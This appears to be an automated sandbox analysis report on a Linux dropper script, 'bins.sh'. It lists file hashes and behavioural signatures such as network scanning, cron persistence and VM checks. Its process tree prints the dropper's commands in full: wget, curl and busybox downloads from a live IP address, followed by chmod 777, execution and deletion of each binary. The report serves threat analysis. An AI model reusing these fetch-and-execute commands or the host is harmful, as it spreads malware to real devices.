Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25-11-2024 04:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    33940d0397837b5881a93decafb2d6b1

  • SHA1

    b628698bdb44575c1c23bec978e3d9fc1c884cec

  • SHA256

    f98486edcd5b27f2b019ed174345f85e8ea618f8fe85b5b10658d051775c6d00

  • SHA512

    8fa5b4f1c3dd50156baa943ba3a6f1dfc0fcaf568585a569c1dd8d05d6be3d4bdd17fc381c0be1dc9bd13b112151d9392b4e70f61343cfb00a0cdc3ea33bd99a

  • SSDEEP

    192:1gXvFQDivmLRsSqEJVVLLKSqEJV7XvFQDivVR:1gXvFQDivmLRsSqEJVVvKSqEJV7XvFQi

Malware Config

Signatures

  • Contacts a large (1711) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Writes file to tmp directory
          PID:660
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:674
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Writes file to tmp directory
          PID:682
        • /bin/chmod
          chmod 777 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          ./hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Executes dropped EXE
          PID:685
        • /bin/rm
          rm hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
            PID:688
          • /usr/bin/wget
            wget http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Writes file to tmp directory
            PID:689
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:690
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Writes file to tmp directory
            PID:691
          • /bin/chmod
            chmod 777 HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • File and Directory Permissions Modification
            PID:694
          • /tmp/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            ./HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Executes dropped EXE
            PID:696
          • /bin/rm
            rm HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
              PID:698
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Writes file to tmp directory
              PID:700
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:706
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Writes file to tmp directory
              PID:713
            • /bin/chmod
              chmod 777 ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • File and Directory Permissions Modification
              PID:719
            • /tmp/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              ./ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Executes dropped EXE
              PID:720
            • /bin/rm
              rm ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
                PID:723
              • /usr/bin/wget
                wget http://216.126.231.240/bins/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Writes file to tmp directory
                PID:725
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:730
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Writes file to tmp directory
                PID:741
              • /bin/chmod
                chmod 777 WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • File and Directory Permissions Modification
                PID:746
              • /tmp/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                ./WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Executes dropped EXE
                PID:748
              • /bin/rm
                rm WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                  PID:750
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:757
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Writes file to tmp directory
                  PID:759
                • /bin/chmod
                  chmod 777 DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • File and Directory Permissions Modification
                  PID:760
                • /tmp/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  ./DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Executes dropped EXE
                  PID:761
                • /bin/rm
                  rm DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                    PID:763
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Writes file to tmp directory
                    PID:764
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:770
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Writes file to tmp directory
                    PID:777
                  • /bin/chmod
                    chmod 777 9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • File and Directory Permissions Modification
                    PID:782
                  • /tmp/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    ./9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:783
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:785
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:787
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:789
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:791
                        • /bin/rm
                          rm 9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                          2⤵
                            PID:794
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                            2⤵
                              PID:798
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                              2⤵
                                PID:799
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                                2⤵
                                • Writes file to tmp directory
                                PID:882
                              • /bin/chmod
                                chmod 777 5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                                2⤵
                                • File and Directory Permissions Modification
                                PID:887
                              • /tmp/5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                                ./5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                                2⤵
                                • Executes dropped EXE
                                PID:888
                              • /bin/rm
                                rm 5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                                2⤵
                                  PID:889
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94
                                  2⤵
                                    PID:891
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94
                                    2⤵
                                      PID:892
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:894
                                    • /bin/chmod
                                      chmod 777 UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:900
                                    • /tmp/UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94
                                      ./UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94
                                      2⤵
                                      • Executes dropped EXE
                                      PID:901
                                    • /bin/rm
                                      rm UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94
                                      2⤵
                                        PID:902
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9
                                        2⤵
                                          PID:903
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9
                                          2⤵
                                            PID:906
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:911
                                          • /bin/chmod
                                            chmod 777 Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:912
                                          • /tmp/Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9
                                            ./Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9
                                            2⤵
                                            • Executes dropped EXE
                                            PID:913
                                          • /bin/rm
                                            rm Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9
                                            2⤵
                                              PID:915
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur
                                              2⤵
                                                PID:916
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur
                                                2⤵
                                                • Checks CPU configuration
                                                PID:917
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:918
                                              • /bin/chmod
                                                chmod 777 RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:931
                                              • /tmp/RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur
                                                ./RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur
                                                2⤵
                                                • Executes dropped EXE
                                                PID:932
                                              • /bin/rm
                                                rm RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur
                                                2⤵
                                                  PID:934
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/QGsvJgdBnKgpcBm8GmTY76fmM1bU7Xbut1
                                                  2⤵
                                                    PID:935

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy

                                                  Filesize

                                                  127KB

                                                  MD5

                                                  89077b7bd4bcafca7713be43635c4862

                                                  SHA1

                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                  SHA256

                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                  SHA512

                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                • /tmp/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx

                                                  Filesize

                                                  177KB

                                                  MD5

                                                  786d75a158fe731feca3880f436082c0

                                                  SHA1

                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                  SHA256

                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                  SHA512

                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                • /tmp/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m

                                                  Filesize

                                                  98KB

                                                  MD5

                                                  5141342d0df8699fa32a6b066a0c592e

                                                  SHA1

                                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                  SHA256

                                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                  SHA512

                                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                • /tmp/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  701e7a55a4f3650f5feee92a9860e5fc

                                                  SHA1

                                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                  SHA256

                                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                  SHA512

                                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                • /tmp/RUV03u7eDibc4i39uAgiSZVQ97YumSq6Ur

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/UaG3n9mJ5PllkVjs1HwW1Q9SaUib6GJv94

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  6c583043d91c55aa470c08c87058e917

                                                  SHA1

                                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                                  SHA256

                                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                  SHA512

                                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                • /tmp/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5

                                                  Filesize

                                                  117KB

                                                  MD5

                                                  849fa04ef88a8e8de32cb2e8538de5fe

                                                  SHA1

                                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                  SHA256

                                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                  SHA512

                                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                • /tmp/Xt3NPRXRYaRE40XuDZX64RfBnhus6ChCR9

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                  SHA1

                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                  SHA256

                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                  SHA512

                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                • /tmp/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH

                                                  Filesize

                                                  107KB

                                                  MD5

                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                  SHA1

                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                  SHA256

                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                  SHA512

                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                • /tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /var/spool/cron/crontabs/tmp.HcqWVs

                                                  Filesize

                                                  210B

                                                  MD5

                                                  f9f2ce8635e8aea1a2f41919da203768

                                                  SHA1

                                                  0bfd8ff7ebd95800acb06d8d52a2ddb1d6bfa8be

                                                  SHA256

                                                  40fb0cb75f1a3ade031610d2d7a542d42c4609bb168dd1b7e7836cf4de12de91

                                                  SHA512

                                                  76f6a1f570395af9f03529807c15c05d19a364edd10029596b466acbd658c2d0831b508f93f134c7791c827a5f31ebafe820ec305604d78c516c65815b43aa8c